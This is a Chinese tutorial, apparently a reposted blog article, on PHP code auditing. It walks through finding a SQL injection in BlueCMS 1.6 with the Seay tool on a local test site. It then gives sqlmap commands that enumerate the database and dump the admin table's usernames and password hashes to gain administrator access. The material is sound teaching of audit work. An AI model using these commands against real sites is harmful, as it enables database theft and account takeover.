0-PHP代码审计——通用代码审计的思路
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了0-PHP代码审计——通用代码审计的思路相关的知识,希望对你有一定的参考价值。
目录
1. 代码审计前的准备工作
在进行代码审计之前,我们需要对项目的整体结构有一个大概的了解,主要是了解以下几方面:
- 项目源码文件结构:主要是了解程序的源码文件结构,以及每个文件的作用
- 程序入口文件:通常是程序开始执行的地方,通过入口文件可以了解程序的执行流程,熟悉业务的具体实现逻辑
- 配置文件:一般都是以config开头的文件,这些文件保存了数据库和程序的一些配置信息
- 过滤功能:阅读项目的源码文件,分析公共的安全检查函数,过滤函数的功能
2. 代码审计思路
1. 检查敏感函数的参数,回溯变量:对敏感函数进行逆向分析,例如分析一些安全检查,过滤的函数对于输入的变量是否经过严格的校验过滤,是否存在绕过的问题,是否调用了具有潜在危险的系统函数等。
2. 通读全文:通读项目源代码是一种最难,但也最有效的代码审计方法,难的是大型项目需要花费大量的时间和精力熟悉整个项目的业务流程,因为这样能挖掘到更有价值的漏洞,所以有时候这也是一种必要的方法。
3. 定位分析敏感功能点:主要是程序中的一些可能会出现的功能点进行分析,判断这类应用通常在哪些功能会出现漏洞安全问题。常见的敏感功能有:文件上传,数据库备份恢复,登录功能验证码等等。这些都是可能会存在安全问题的敏感功能。
3. 使用代码审计工具
常用的代码审计工具有seay代码审计工具和RIPS,这两个工具都是免费开源的,接下来我们通过seay代码审计工具来审计bluecms1.6的源代码。
点击新建项目,选择选择bluecms的根目录,这里是放在C:\\phpstudy\\WWW\\test.com目录下,在菜单栏中点击自动审计 ---> 开始审计,然后seay就会开始进行代码审计,如下图所示:
选中一个sq注入漏洞,右键打开文件定位到存在漏洞的代码
直接定位到了一行代码中,并且在这行代码中使用了一个变量来拼接sql语句,然后分析ad_id变量是如何传递的,内容是否可控,我们可以选中变量ad_id右键全局搜索
点击全局搜索界面,选中这行双击定位到代码
后台接收到数据后只判断了ad_id是否为空,并没有对ad_id变量进行过滤,然后直接拼接到sql语句中执行
我们继续分析getone函数,getone函数内部也没有任何过滤,直接执行了sql语句。
找到注入点之后,那么我们可以直接在前台利用这个漏洞:
当输入ad_id=1页面是一片空白,当输入ad_id=1'页面返回了数据库报错信息,说明是数字型注入。
接下来就可以通过sqlmap来验证测试漏洞了,sqlmap扫描sql注入漏洞:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1"
然后sqlmap扫描到ad_id参数存在时间盲注和联合注入漏洞
爆出当前数据库名:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" --current-db
列出当前数据库的所有数据库表名:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" --tables
sqlmap总共扫出29张数据库表,我们猜测blue_admin表中存储了管理员用户的用户名和密码信息。
列出当前数据库的blue_admin表的所有字段信息:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" -T "blue_admin" --columns
从上图中可以看到blue_admin数据库表中有8个字段,其中admin_name字段应该是存储着用户名,pwd存储着密码
列出blue_admin表中的用户和密码信息:sqlmap.py -u "http://www.test2.com/ad_js.php?ad_id=1" -D "bluecms" -T "blue_admin" -C "admin_name,pwd" --dump
因为之前测试时只注册了一个管理员用户,因此这里默认只导出一条数据,密码是经过md5加密的,解密后就是之前设置的123456密码。拿到管理员的用户名和密码,就可以登录后台拿到管理权限了。
以上是关于0-PHP代码审计——通用代码审计的思路的主要内容,如果未能解决你的问题,请参考以下文章